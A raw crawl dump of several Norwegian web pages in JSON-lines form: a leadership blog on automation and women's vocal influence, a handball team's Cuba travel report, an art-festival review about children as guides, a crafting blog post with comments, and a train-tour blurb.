jeg.\u00a0\n\n\u00abGod tirsdag.\u00bb\u00a0\n\n-----\n\n-----\n\nPaal Leveraas er gr\u00fcnder i Leveraas AS, et selskap som jobber med ledere for \u00e5 utvikle trygghet og selvtillit slik at du raskere kan tre inn i rollen som den lederen du \u00f8nsker \u00e5 v\u00e6re, og som dine medarbeidere, kolleger og ledere trenger at du er.\n\n\u00a0\n## Hvordan algoritmene vil overta jobben din\n\n\n\n**Jeg leser\u00a0\u00abThe Inevitable\u00bb,\u00a0en bok av Kevin Kelly. Han forklarer p\u00e5 en overbevisende m\u00e5te de teknologiske kreftene som former v\u00e5r fremtid \u2013 og n\u00e5tid.\u00a0**\n\nJeg er ikke ferdig med boken, men en liten perle vil jeg gjerne dele allerede n\u00e5: De syv stegene av erkjennelse fram til en algoritme, robot eller datamaskin overtar jobben din. Og den neste. Og den neste.\n\nLitt tilpasset og fornorsket av meg, ser den slik ut:\n\n\n\nFritt etter Kevin Kellys bok.\n\nDu sier:\n\n1.  En algoritme kan aldri utf\u00f8re min jobb.\n2.  OK, den kan gj\u00f8re litt av den, men ikke alt.\n3.  OK, den kan gj\u00f8re alt jeg gj\u00f8r, men trenger meg til \u00e5 fikse den n\u00e5r den bryter sammen.\n4.  OK, den bryter aldri sammen mer, men jeg m\u00e5 l\u00e6re den nye ting.\n5.  OK, den kan l\u00e6re selv. Det var i alle fall ikke en jobb egnet for mennesker.\n6.  N\u00e5 har jeg en ny jobb, jeg tjener bedre og har det mer g\u00f8y, og jeg kan med sikkerhet si at \u2026\n7.  \u2026 g\u00e5 til punkt 1\n\n\u00abThe Inevitable: Understanding the 12 Technological Forces That Will Shape Our Future\u00bb, Kevin Kelly, tidligere redakt\u00f8r av Wired.\n\nPaal Leveraas er gr\u00fcnder i Leveraas AS, et selskap som jobber med ledere for \u00e5 utvikle trygghet og selvtillit slik at du raskere kan tre inn i rollen som den lederen du \u00f8nsker \u00e5 v\u00e6re, og som dine medarbeidere, kolleger og ledere trenger at du er.\n\n\u00a0\n\n## Hvorfor (mange) kvinner ikke f\u00e5r den innflytelsen de fortjener\n\n**\u00abVelkommen til ukens \u2026 eh \u2026 Tirsdag morgen. I dag er p\u00e5 en m\u00e5te temaet \u2026 eh \u2026 eller skal jeg si, nei jeg sier tema. Det er \u2026 eh .. innflytelse. N\u00e6rmere bestemt hvordan kvinner f\u00e5r det. Det er et kjempeviktig tema, alts\u00e5\\! Og i dag er det jo \u2026 nei, i morgen, mener jeg \u2026 kvinnedagen.\u00bb**\n\nHar du falt av? Det er forst\u00e5elig. Fyllord, hyppige pauser, n\u00f8ling, manglende sammenheng mellom budskap og stemmeleie og manglende klarhet gj\u00f8r mye av forskjellen p\u00e5 en god og en d\u00e5rlig tale.\n\nDet er dagen f\u00f8r kvinnedagen. Vi kan feire at likestillingen har kommet langt i Norge. Det eneste som hindrer kvinner i \u00e5 komme opp i de \u00f8verste etasjene er de skarpe sk\u00e5rene fra det knuste glasstaket.\n\nOg \u2013 for noen \u2013\u00a0m\u00e5ten de g\u00e5r, st\u00e5r og snakker p\u00e5.\n\nI internetts barndom var et av de fiffige slagordene at \u00abContent is king, but context is the kingdom\u00bb.\n\nIdeen var at innholdet er viktig, men m\u00e5ten det presenteres p\u00e5 er viktigere.\n\n**I et n\u00f8tteskall representerer dette noe av forskjellen p\u00e5 kvinner og menn i arbeidslivet.**\n\nDen flinke piken sikrer at det hun skal levere er av beste kvalitet.\n\nLedergruppa gjesper\u00a0og smugtitter p\u00e5 klokka.\n\nDen flinke gutten opererer etter prinsippet \u00abfake it \u00b4til you make it\u00bb og er mer opptatt av \u00e5 fremst\u00e5 som dynamisk enn substansiell.\n\nLedergruppa klapper entusiastisk.\n\n**Den st\u00f8rste trusselen for disse gutta er at den flinke piken skal knekke koden og forst\u00e5 at m\u00e5ten det sies p\u00e5 er viktigere enn det som sies.**\n\nMange av de flinke pikene har gjort det.\n\nNoen av dem har sett Amy Cuddys TED-foredrag om kraftfull posering. De sniker seg inn p\u00e5 et ledig m\u00f8terom f\u00f8r presentasjonen. Der sitter de og skrever, smiler og snakker seg selv opp.\n\n\u00abDon\u00b4t fake it \u00b4til you make it\u00bb, sier Amy i foredraget.\n\n\u00abFake it \u00b4til you become it.\u00bb\n\nOg jentene faker for alt det er verdt. S\u00e5 grundig som bare en flink pike kan gj\u00f8re det.\n\n\u00a0\nNoen av dem har ogs\u00e5 jobbet med m\u00e5ten de snakker p\u00e5. Kanskje de har g\u00e5tt til en stemme-coach.\n\nSlik Margaret Thatcher gjorde.\n\nJernkvinnen Margaret Thatcher var Storbritannias statsminister gjennom en \u00e5rrekke. Hennes politikk endret nabolandet v\u00e5rt for alltid.\n\nMaggie hadde en noks\u00e5 dyp stemme. Hun snakket sakte og med tydelig intonasjon.\n\nDet var vanskelig \u00e5 la v\u00e6re \u00e5 lytte n\u00e5r Maggie snakket.\n\n**Men s\u00e5nn var det ikke alltid. Da hun startet sin politiske karriere, strevde hun med det samme mange kvinner strever med. Folk lyttet ikke til henne. Og de som lyttet, lyttet h\u00f8flig, men dypest sett uinteressert.**\n\nHun s\u00f8kte hjelp fra en coach.\n\nResten er historie.\n\nVerdenshistorie, faktisk.\n\n(Og vil du lese hvordan det gikk til, er det en utmerket artikkel i The Telegraph: From shrill housewife to Downing Street \u2013 the changing voice of Margaret Thatcher.)\n\nStemmen er en undervudert p\u00e5virkningsagent. Men vi h\u00f8rer ikke v\u00e5re egne stemmer slik andre gj\u00f8r det. Derfor legger f\u00e5 av oss nok vekt p\u00e5 hvordan vi bruker stemmen for \u00e5 forsterke budskapet.\n\n**P\u00e5 \u00abfritiden\u00bb (he-he) er jeg styreleder i et lite oppstartselskap, Technology of Influence AS. Det er startet av min gode venn Rick Salmon. Rick har i mange \u00e5r trent ledere over hele verden, og blitt mer og mer fascinert av hva stemmen betyr for innflytelse.**\n\n\u00abEn trent coach vil kunne peke p\u00e5 hva du gj\u00f8r feil, men kan teknologi gj\u00f8re det enda bedre?\u00bb, spurte Rick seg selv.\n\nJakten p\u00e5 svaret har f\u00e5tt ham til \u00e5 pantsette hus og hjem og overtale et team lingvister, teknologer og meg til \u00e5 bruke \u00abfritiden\u00bb (he-he) p\u00e5 utvikling av en app som \u00f8yeblikkelig gir deg beskjed om hvilken effekt det du planlegger \u00e5 si vil ha p\u00e5 ditt publikum.\n\nVoiceable, skal appen hete.\n\nDu b\u00f8r sjekke den ut.\n\n**Samarbeidet med Rick har gitt meg forbl\u00f8ffende ny kunnskap om\u00a0hvor viktig stemmen er.\u00a0Nest etter din fysiske fremtoning er m\u00e5ten du snakker p\u00e5 det som avgj\u00f8r det ber\u00f8mte f\u00f8rsteinntrykket.**\n\nN\u00e5r du har noe viktig \u00e5 si og oppdager at ingen lytter kan det v\u00e6re lytterne det er noe galt med.\n\nMen mer sannsynlig er det at du bruker et av dine viktigste kommunikasjonsverkt\u00f8y feil.\n\nStemmer?\n\nGod tirsdag.\n\n#### Hva kan vi l\u00e6re av dette?\n\n\u00abPaal, du har en resonant stemme med autoritet\u00bb, sa Faith Fuller til meg etter en gruppetime i relasjonscoaching for noen \u00e5r siden.\u00a0\u00abMen husk at din stemme er en metaskill. V\u00e6r bevisst p\u00e5 hvordan du bruker den.\u00bb\n\nBegrepet \u00abmetaskill\u00bb i denne sammenheng refererer til egenskaper som bidrar til \u00e5 forme kontekst. Det er \u00abparfymen\u00bb du velger \u00e5 spraye rommet med n\u00e5r du g\u00e5r inn i et m\u00f8te. Hva trenger vi mer av for \u00e5 oppn\u00e5 det vi \u00f8nsker? Inspirasjon? Stahet? Entusiasme? Omsorg? Enten du er leder eller medarbeider, kvinne eller mann, er en slik klargj\u00f8ring for deg selv og andre sv\u00e6rt effektfull.\n\nHva gjelder Faith, forstod jeg hva hun mente, men jeg ikke\u00a0hva jeg skulle gj\u00f8re. Stemmen min, jeg kan vel ikke gj\u00f8re noe med den? Det er den stemmen jeg har?\n\n**Der tok jeg feil.\u00a0Stemmen er et instrument. Du kan hamre l\u00f8s p\u00e5 et f\u00e5tall strenger eller bruke et stort register. Men det krever trening. Finn en coach. Eller en app. \ud83d\ude42**\n\n\u00a0\n**\u00abDet er et lederansvar \u00e5 skape muligheter og et individuelt ansvar \u00e5 bidra.\u00bb \u2013 William Pollard\n", "language": "no", "__index_level_0__": "6ac81c4f-0846-4ccb-8a89-3c5430a454ae"}
{"url": "https://vipers.no/2014/08/07/reisebrev-cuba-del-3/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:09:20Z", "text": "   Skrevet av Morten L\u00f8v\u00f8\n\n**Onsdag 06.08**\n\nDenne dagen skulle den f\u00f8rste av to treningskamper mot det Cubanske landslaget spilles.  \nKamstart var 0930 og den ble direktesendt p\u00e5 Cubansk TV med Cubas svar p\u00e5 Arne Scheie som kommentator.  \nKamereaer fra 80 tallet ble b\u00e5ret inn av TV teamet og lagene begynte \u00e5 gj\u00f8re seg klar til kamp.\n\nDet ble en jevnspillt kamp mot et fysisk og hardt jobbende Cubansk lag.  \nDe holdt presset mye lenger enn det Vipers er vant til hjemme i Norge og forsvaret klarte ikke \u00e5 st\u00e5 i mot i for mange tilfeller.  \nKontringsspillet var derimot bra igjennom hele kampen.  \nTil pause stod det 13-11 fordel Cuba.\n\n2 omgang var en bedre omgang av Vipers laget og p\u00e5 et tidspunkt ledet de med et m\u00e5l.  \nMen en teknisk feil gjorde at Cuba igjen tok over f\u00f8ringen i kampen.  \nSluttresultatet ble 28-27 til Cuba og Vipers tapte da sin f\u00f8rste treningskamp.\n\nMen n\u00e5 er ikke akkurat Cuba noe d\u00e5rlig lag. De er nest best i S\u00f8r og Mellomamerika etter Brasil. Og Brasil er regjerende verdensmestere\\!  \nGunnar sier til vipers.no at med 35 grader, tidlig kamptidspunkt og et nykomponert lag s\u00e5 var det en godkjent kamp\\!\n\nTil l\u00f8rdag er det nye lodder og gevinster i en ny treningskamp\\!\n\nEn lokal jury k\u00e5ret Tonje Refsnes som banens beste med 7 scoringer\\!\n\nTonje Refsnes 7  \nAnnette Jensen 5  \nSanne B Pedersen 4  \nLynn Knippenborg 4  \nThorey Rosa Stefansdottir 3  \nKarin Weigelt 2  \nSusann Iren Hall 1  \nVilde Jonassen 1\n\n\n\nDen norske delegasjonen\n\n\n\nSusann Iren Hall\n\n\n\nVilde Jonassen\n\n# \n\n", "language": "no", "__index_level_0__": "8574a50c-4e94-41f5-9466-fb642fda8fc0"}
{"url": "http://www.periskop.no/kunst-for-alle-for-og-med-barn/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:47:04Z", "text": "# **Kunst for alle \u2013 for og med barn**\n\n John Russell, Diagonal Slaughter Optimisation (2015).Foto: LIAF\n\n**KATEGORI:** Skole.Visuell Kunst.  \n**SJANGER:** Anmeldelse.   \n**PUBLISERT:** 25.09.2015  \n \n\nLofoten International Art Festival (LIAF) knytter visuell kunst, formidling og m\u00e5lgruppetenkning tett sammen. Men er det egentlig plass til kunsterfaringer som ikke har spr\u00e5klig form n\u00e5r diskursen blir en viktig del av kunst for barn og unge?\n\nAv:\n\nCharlotte Blanche Myrvold\n\n*Disappearing acts* inng\u00e5r i Den kulturelle skolesekkens (DKS) tilbud til alle skoleelever i V\u00e5gan kommune, og opp mot 1200 barn og unge er ventet til utstillingen. Sammenholdt med forventet antall bes\u00f8kende p\u00e5 cirka 3500 til \u00e5rets LIAF, blir det tydelig hvor stor publikumsgruppen barn og unge er. Dette er selvsagt ikke spesielt med LIAF. Barn er, takket v\u00e6re DKS og formidlingsinitiativene p\u00e5 ulike kunstinstitusjoner, en stor publikumsgruppe. Men samtidig som vi generelt i samfunnet kan observere en tendens der kulturtilbudet for barn blir mer og mer spesialtilpasset barna og foreg\u00e5r p\u00e5 egne plattformer, som NRKs TV- og radiokanal Super, er det fremdeles en forventning om at visuell kunst kan tale til et slags universalt subjekt og at barn og voksne kan dele den samme kunsten p\u00e5 ulike vilk\u00e5r. P\u00e5 \u00e5rets LIAF videref\u00f8res forestillingen om at kunst er for alle uansett alder, samtidig som den im\u00f8tekommes i det at formidlingsprogrammet l\u00f8fter opp flere stemmer og ulike erfaringer av den, ogs\u00e5 barns.\n\n\u00c5rets utstilling utmerker seg i denne sammenhengen, ettersom b\u00e5de formidlingskonsept og kuratorisk id\u00e9 forankrer festivalen til stedet \u2013 p\u00e5 flere niv\u00e5er og for ulike betraktergrupper. Kuratorene Matt Packer og Arne Skaug Olsen har hentet frem Svolv\u00e6rs bystruktur og folkeminne gjennom valget av utstillingslokalet: Jern & Bygg \u2013 en forhenv\u00e6rende jern- og m\u00f8belbutikk. For mange blir dette siste sjanse til \u00e5 bes\u00f8ke lokalene f\u00f8r de rives for \u00e5 gi plass til et h\u00f8yhus og valg av utstillingslokale aktiverer med dette et viktig skifte i Svolv\u00e6rs historie, samtidig som utstillingen lever godt opp til tittelen *Disappearing Acts*.\n\n\n\nB\u00e5de kuratorene og formidleren knytter utstillingen til stedet. Foto: LIAF\n\nKunstpedagog Kristin Risan ved Nordnorsk kunstnersenter har p\u00e5 sin side invitert ulike svolv\u00e6ringer til \u00e5 holde egne omvisninger \u2013 til \u00e5 \u00ablose\u00bb publikum gjennom utstillingen. Blant LIAF-losene finner vi b\u00e5de en sogneprest og en tannlege \u2013 og syv 7.-klassinger ved Svolv\u00e6r skole. LIAF-losene bidrar til \u00e5 gi*Disappearing Acts* betydning lokalt ved at kunsten formidles fra ulike lokale stemmer og perspektiver, men presenterer ogs\u00e5 et prosjekt der barn og voksne integreres i utstillingen p\u00e5 en ny m\u00e5te, ettersom \u00ablos\u00bb-tjenesten b\u00e5de representerer en kunsterfaring og en formidlingsform for de som deltar.\n\n**Etablerte roller utfordres**\n\nDet var 7.-klassingene som loset gjennom mitt f\u00f8rste m\u00f8te med utstillingen, og som snudde opp ned p\u00e5 de etablerte rollene. Barna formidlet til meg, den voksne, kunstverkene som *de* mente var interessante. Som LIAF-loser har 7.-klassingene p\u00e5 Svolv\u00e6r skole m\u00f8tt kunsten oftere enn de fleste. De har sett utstillingen ta form, m\u00f8tt kunstnerne og valgt hvilke kunstverk som de vil formidle p\u00e5 deres to l\u00f8rdager med omvisning. Deres m\u00f8te med kunsten begrenses ikke av m\u00f8tet med de ferdige verkenes materialitet.\n\nDa jeg kom for \u00e5 se utstillingen, steppet elevene inn og holdt en omvisning bare for meg. Vi beveget oss rundt i det labyrintiske bygget der de er lommekjent, og ved de utvalgte kunstverkene fikk jeg h\u00f8re hvorfor de hadde valgt akkurat det verket, hvem kunstneren var, id\u00e9en bak, hvordan det var lagd, og iblant fikk jeg ogs\u00e5 h\u00f8re elevenes egne assosiasjoner og tanker.\n\n**Barnas valg**\n\nLIAF-los H\u00e5kon slo fast at han valgte John Russels verk *Slime is the Agony of Water* fordi han liker b\u00e5de kunst og havet. Installasjonen, som lukter av sj\u00f8, best\u00e5r av fire skulpturer som er blitt senket ned i havet og har forvitret der nede, f\u00f8r de senere er blitt hevet opp igjen og stilt ut sammen med en videomontasje av kunstneren som sv\u00f8mmer blant formene p\u00e5 havets bunn. LIAF-los Jaran fortalte at siden han liker utlandet, valgte han Sam Basus verk *The Actual Possibility of Escape.* Her overv\u00e6rer vi et m\u00f8te mellom Black Panthers Eldrigde Cleavers og Timothy Leary, forkjemper for psykedeliske rusmidler, som Basu aktualiserer i en tenkt scenografi.\n\nVidere i utstillingen s\u00e5 vi *Visitation Rights* av Juha Pekka Matias Laakkonen, et av verkene som LIAF-los Ida Helene valgte ut. Hun fortalte om hvordan kunstneren hadde levd en m\u00e5ned p\u00e5 \u00f8ya Lille Molla som vi kunne se gjennom vinduet der vi sto. F\u00f8r han dro dit bes\u00f8kte han en barnehage som lagde en liste for ham over det de trodde han ville finne p\u00e5 \u00f8ya. Nettopp det uventede i hva kunstneren valgte \u00e5 bringe tilbake, fremhever Ida Helene som det hun liker best ved dette verket \u2013 kunstneren valgte noe som ingen p\u00e5 forh\u00e5nd hadde forventet \u2013 den lille, m\u00f8rke sk\u00e5llignende formen p\u00e5 gulvet er lagd av kvae smeltet p\u00e5 et b\u00e5l av elgeb\u00e6sj. LIAF-los Helen har valgt Katja Novitskovas *Pattern of Activation.* Blant de robotiserte skulpturelementene som er ikledd bilder fra landskaper p\u00e5 havbunnen i Arktis, er det rom for \u00e5 assosiere, og Helen viser meg en undervannsformasjon som minner om fjellet Tjeldbergtin, som hun selv har besteget.\n\n**Formidling forankret i kunstverk**\n\n*Imitator Being Made* av Hedwig Houben har inspirert formidlingsstrategien til \u00e5 definere barn som *brukere* av kunst heller enn bes\u00f8kende. Ordet *bruker* brer om seg i den politisk korrekte spr\u00e5kbruken, og understreker at vi er aktive subjekter p\u00e5 alle mulige samfunnsarenaer, fremfor passive mottagere. *Bruker* av kunst kan klinge fremmed sammenlignet med det mer vante ordet*bes\u00f8kende,* men \u00e5pner for en refleksjon rundt hva den enkelte f\u00e5r ut av kunsten og hva det vil si \u00e5 *bruke* kunst fremfor \u00e5 betrakte eller delta i den. Med prosjektet LIAF-losene ses alts\u00e5 barna som *brukere,* og de konstitueres med dette i forskjellige roller som betraktere.\n\n*Imitator Being Made* best\u00e5r av et skulptert gipshode med tre ansikter og et videoarbeid som viser en forelesningsbasert performance der skulpturens tre ansikter settes i spill som tre personligheter: *den skapte, vesenet* og*etterligneren*. Imidlertid forskyves disse kategoriene i formidlingsprogrammet utarbeidet av Risan, der den likesidete trekanten som kan tegnes mellom ansiktene, blir reformulert som *kunstverket*, *kunstneren* og *brukeren av kunsten*.\n\n**P\u00e5 voksnes premisser**\n\nP\u00e5 LIAF-losenes omvisning fikk jeg gode introduksjoner til kunstverkene, og jeg s\u00e5 at de selv har et eierskap og forhold til utstillingen. Oppl\u00e6ringen de har f\u00e5tt har gitt dem tiltro til seg selv som betraktere av kunst og l\u00e6rt dem at ulike syn p\u00e5 kunst kan sameksistere. Samtidig sitter jeg igjen etter omvisningen med f\u00f8lelsen av at den har foreg\u00e5tt p\u00e5 mine premisser, fordi det \u00e5 snakke om kunst ofte forutsetter at man tilegner seg et voksent spr\u00e5k. At LIAF-losene innimellom brukte formidlingstekstene som hjelp til \u00e5 fortelle om verkene, tyder p\u00e5 at det for et barn ikke er s\u00e5 enkelt \u00e5 bruke personlig spr\u00e5k og erfaring. Kunstopplevelser er b\u00e5de kunnskapsbaserte og erfaringsbaserte, men i et muntlig fremlegg ligger det konvensjoner om formidling av kunnskap som kan hemme det personlige spr\u00e5ket.\n\n\n\nImitator Being Made av Hedwig Houben.\n\nAt *Disappearing Acts* presenterer mange kunstverk som umiddelbart appellerer til b\u00e5de barn og voksne, var tydelig der jeg gikk med min egen 8-\u00e5ring. Men mens vi vandret rundt, var det nettopp det \u00e5 snakke om kunsten som barnet etter hvert syntes at ble slitsomt. Den samme kunsten ber\u00f8rer b\u00e5de barn og voksne, men allikevel har vi ofte lyst til \u00e5 bruke den forskjellig. Noe av det beste kunsten kan gj\u00f8re med oss er \u00e5 gi nye id\u00e9er og inspirere til \u00e5 handle annerledes. Jon Benjamin Taller\u00e5s videoverk *Ingen veier utenom* var et slikt verk for barnet som jeg s\u00e5 utstillingen med. Videoen viser en ung mann som beveger seg annerledes rundt i byen enn hva som er vanlig. Ved \u00e5 klatre og balansere bryter han med vante bevegelsesm\u00f8nstre og finner nye m\u00e5ter \u00e5 bruke byen p\u00e5. Da vi var ferdig med utstillingen, var Svolv\u00e6r for barnet forvandlet til et mulighetsrom der hun kunne finne p\u00e5 sine egne veier. Det var g\u00f8y \u00e5 observere den transformative kraften verket hadde p\u00e5 henne, men kanskje flere kunstverk kunne blitt en del av erfaringseksperimentet om det var litt kortere avstand fra \u00e5 se til \u00e5 gj\u00f8re.\n\n**N\u00f8dvendig jobb**\n\n\u00c5rets LIAF gj\u00f8r en n\u00f8dvendig og viktig jobb ved \u00e5 invitere flere publikumsgrupper til \u00e5 erfare verkene gjennom spr\u00e5klige operasjoner. Grepet synliggj\u00f8r hvordan vi kan omg\u00e5s kunst p\u00e5 mange m\u00e5ter. Formidlingsopplegget med LIAF-loser er med p\u00e5 \u00e5 vise at ett verk har ulike innganger som avhenger av betrakterens interesse, p\u00e5 samme m\u00e5te som de utstillende kunstnerne har funnet hver sine innganger til konseptet bak *Disappearing Acts* og Lofoten som sted.\n\nDiskursen er en viktig del av kunsten, og \u00e5rets LIAF gj\u00f8r et foregangsarbeid ved \u00e5 invitere barna inn som deltagere. Utnevnelsen av 7.-klassingene som LIAF-loser bidrar b\u00e5de til \u00e5 synliggj\u00f8re barn som publikumsgruppe og til \u00e5 l\u00f8fte deres stemmer inn i den offentlige dialogen om kunst. Samtidig er barns deltagelse i en offentlig samtale ogs\u00e5 en oppl\u00e6ring til en voksen omgang med kunst, beslektet med en av de f\u00f8rste tingene de l\u00e6rer p\u00e5 utstilling: \u00c5 motst\u00e5 impulsen til \u00e5 ta p\u00e5. Slik kunne jeg sett for meg en st\u00f8rre gjensidighet n\u00e5r barn strekker seg inn i det diskursive rommet \u2013 at samtidig som barna utvikler et spr\u00e5k for kunsten, s\u00e5 \u00e5pnes ogs\u00e5 et erfaringsrom i kunstutstillingen som inviterer til ikke-spr\u00e5klig bruk av kunst.\n\n\u00a0\n## En 8-\u00e5rings guide til LIAF\n\n  - **Jon Benjamin Taller\u00e5s, *Ingen veier utenom,* 2015**\n\nDet er en kjempefin video som jeg synes er kjempekul. Jeg likte at man satt under en trapp, det er litt uvanlig. I videoen ser man ikke ansiktet hans og jeg tenkte at det er for at man skal legge merke til det som er rundt ham. Mannen i videoen g\u00e5r rundt i byen uten \u00e5 bruke fortauet og s\u00e5nn, og det likte jeg. Jeg tenkte at det kan jeg ogs\u00e5 gj\u00f8re.\n\n  - **Jon Benjamin Taller\u00e5s, *Fors\u00f8k, forslag, forfall,* 2015**\n\nDen er kul fordi man kan gjette g\u00e5ter. Hvorfor de to bildene i rammen passer sammen.\n\n  - **Anna \u00c5dahl, *Impossible Image,* 2015**\n\nDet er et veldig, veldig fint kunstverk. Det er et svart bord, p\u00e5 den ene siden er det en stor haug med masse sand, p\u00e5 den andre siden er det bitte litt sand og en slags maskin med en kamera-aktig ting som lyser p\u00e5 en skjerm. Og p\u00e5 den skjermen er det noen store steiner, men de steinene er egentlig de bitte sm\u00e5 sandkornene som er blitt forst\u00f8rret. St\u00f8rre enn hodet mitt. Og det er spennende. Wow\\!\n\n  - **Tue Greenfort, *Flambant Neuf,* 2010**\n\nJeg tror faktisk at denne her er ganske spennende for barn, siden det er en labyrint. Det er litt skummelt. Ogs\u00e5 ser den veldig gammel ut siden den er knust p\u00e5 en m\u00e5te. Ogs\u00e5 er det g\u00f8y at man i midten kan se gamle ting som man kan gj\u00f8re p\u00e5 en video. Hvordan man lager ild og s\u00e5nn.\n\n  - **Isabel Nolan, *There will soon be time no more,* 2014**\n\nHer er et veldig kult kunstverk, det ser nesten ut som er en r\u00f8d, lang blanding av skjerf, tau og slange som er snurret litt rundt omkring. Men den sto rett opp og ned uten hjelp av noe, tror jeg. Det er spennende og mystisk.\n\n\n\nJon Benjamin Taller\u00e5s videoverk Ingen veier utenom. Foto: LIAF\n\n-----\n\n", "language": "no", "__index_level_0__": "543c4a44-e600-4889-8277-fc3f421a2dbc"}
{"url": "https://synnovedyhring.blogspot.com/2012/01/hvitt-vintage-bursdagskort.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:32:51Z", "text": "\n## l\u00f8rdag 21. januar 2012\n\n### Hvitt vintage Bursdagskort\n\n\nHer har jeg jobba etter\u00a0 skisse hos Sketchy colors nr\u00a0100.Brukt hvitt ark og to glansa lyse ark.(fant ikke produsent navn p\u00e5 de)Med \u00a0dusty concoord -distressink p\u00e5.Jeg har pynta med h\u00e5nds\u00f8m og\u00a0hvitt\u00a0Cracklet paint-distress\u00a0.Malt b\u00e5de blomster ,charms og osteklut.  \n\n\nklem Synn\u00f8ve\n\n11:50           \n\n#### 18 kommentarer:\n\n1.  \n    \n    Gro Tollaksen21. januar 2012 kl. 12:11\n    \n    Kjempe fint Synn\u00f8ve :)  \n    Nydeligt .\n    \n2.  \n    \n    Kjersti21. januar 2012 kl. 13:38\n    \n    S\u00e5 nydelig dette var - lekre ark og blomsterpynten var s\u00e5 herlig bygd opp\\!  \n    Likte godt LO'en din litt lenger ned p\u00e5 bloggen ogs\u00e5, skikkelig fin:)  \n    Legger meg som f\u00f8lger, jeg, s\u00e5 holder jeg meg oppdatert p\u00e5 alt det fine du lager;)  \n    Ha ei fin helg\\!  \n    Klem fra Kjersti\n    \n3.  \n    \n    Jorunn, enda en scrappedame21. januar 2012 kl. 14:57\n    \n    Vakker vintage\\! Hvitt p\u00e5 hvitt er s\u00e5 lekkert. Herlig motiv, og s\u00e5 flott det ble med maling p\u00e5 blomstene :)  \n    Klem, Jorunn\n    \n4.  \n    \n    tone21. januar 2012 kl. 16:39\n    \n    S\u00e5 nydeligt korte blei n\u00e5r det blei ferdigt :)\n    \n5.  \n    \n    Bente \u00c5rstad21. januar 2012 kl. 19:17\n    \n    WOW s\u00e5 utrolig vakkert dette var. Helt imponert jeg hva du klarer \u00e5 trylle fram:)\n    \n6.  \n    \n    Marita22. januar 2012 kl. 10:32\n    \n    S\u00e5 lekkert\u2665. Jeg f\u00e5r ikke helt til \u00e5 lage vintagekort, s\u00e5 jeg beundrer dere som f\u00e5r det til\u2665. Nydelig motiv og blomstrene er jo s\u00e5 lekre\u2665.  \n      \n    \u00d8nsker deg en fin S\u00f8ndag.  \n      \n    Klem Marita\n    \n7.  \n    \n    Audhild22. januar 2012 kl. 11:38\n    \n    Ordentlig nydelig kort\\! Likte absolutt alt ved dette, men favorittdetaljen m\u00e5 bli den lille sl\u00f8yfen med bling nederst p\u00e5 motivet:-)\n    \n8.  \n    \n    June22. januar 2012 kl. 11:44\n    \n    Gurimalla noe s\u00e5 nydelig\\! Sart og lekkert\\!  \n    Mange flotte detaljer\\!  \n    Klem fra June\n    \n9.  \n    \n    Rita22. januar 2012 kl. 18:08\n    \n    Dette var jo bare S\u00c5\u00c5\u00c5 nydelig\\! N\u00e5 fikk jeg lyst \u00e5 g\u00e5 p\u00e5 hobbyrommet \u00e5 laget et vintage kort :)Ha en fortsatt fin s\u00f8ndag. klem Rita\n    \n10. \n    \n    Linda22. januar 2012 kl. 19:53\n    \n    Camilla22. januar 2012 kl. 23:37\n    \n    Kjempe nydelig\\! ;)  \n    De to lyse glansa arkene er fra Bazzill ;)\n    \n12. \n    \n    Anne Bente23. januar 2012 kl. 09:10\n    \n    Et fantastiks flott kort. Takk for at du er med p\u00e5 utfordringen hos Kreativ Hobby. Klem fra Anne Bente :-)\n    \n13. \n    \n    Tuppenshobbyblogg23. januar 2012 kl. 13:57\n    \n    Et aldeles nydelig kort \\!\\!  \n      \n    Klem Kjersti\n    \n14. \n    \n    unni's scrappeboble24. januar 2012 kl. 18:07\n    \n    Aldeles nyyyydelig vintagekort :)  \n    Tusen takk for at du deltar, hilsen Unni p\u00e5 Scrapperiket :)\n    \n15. \n    \n    Kristin25. januar 2012 kl. 12:18\n    \n    S\u00e5 herlig og flott kort dette var. Nydelig laget\\!  \n      \n    takk for at du deltar i utfordringen til Kreativ Hobby\\!\n    \n16. \n    \n    Gro Tollaksen1. februar 2012 kl. 11:59\n    \n    Gratulerer :)\n    \n17. \n    \n    Nelle3. februar 2012 kl. 20:32\n    \n    WOW s\u00e5 vackert kort och verkligen S\u00f8tt som sukker :)  \n      \n    Tack f\u00f6r att du deltar hos Kort o Mania.\n    \n18. \n    \n    lam5. februar 2012 kl. 21:41\n    \n    S\u00e5 fint. Tak fordi du deltager hos Kort O mania\n    \n## stolt og glad\n\n## jippi 2017\n\nPL tur til R\u00f8ysaneset\n\n    \n\n## stolt og glad\n\n  \ns\u00e5 g\u00f8y \u00e5 utforske\n\n    \n\n## stolt og glad\n\n  \nyou\\`re a great friend\n\n    \n\n## jippi 2017\n\n## Jippi 2011\n\n", "language": "no", "__index_level_0__": "789531c2-bf79-4275-badc-a63551215424"}
{"url": "http://grupperundreiser.no/destinasjoner/togreiser-dest", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:05:40Z", "text": "\n\n## Togreiser\n\nBli med p\u00e5 togreiser\u00a0der reisen er en del av eventyret. Kryss \u00f8de kontinenter og reis gjennom noe av det mest hardbarkede og \u00f8de landskapet i verden. F\u00e5 med deg attraksjoner som ikke er tilgjengelig med annen transport. Du kommer til \u00e5 huske selve turen like mye som stedene du har bes\u00f8kt.\n\n", "language": "no", "__index_level_0__": "f3528533-29aa-400e-a10c-9b3eb9ae78fd"}
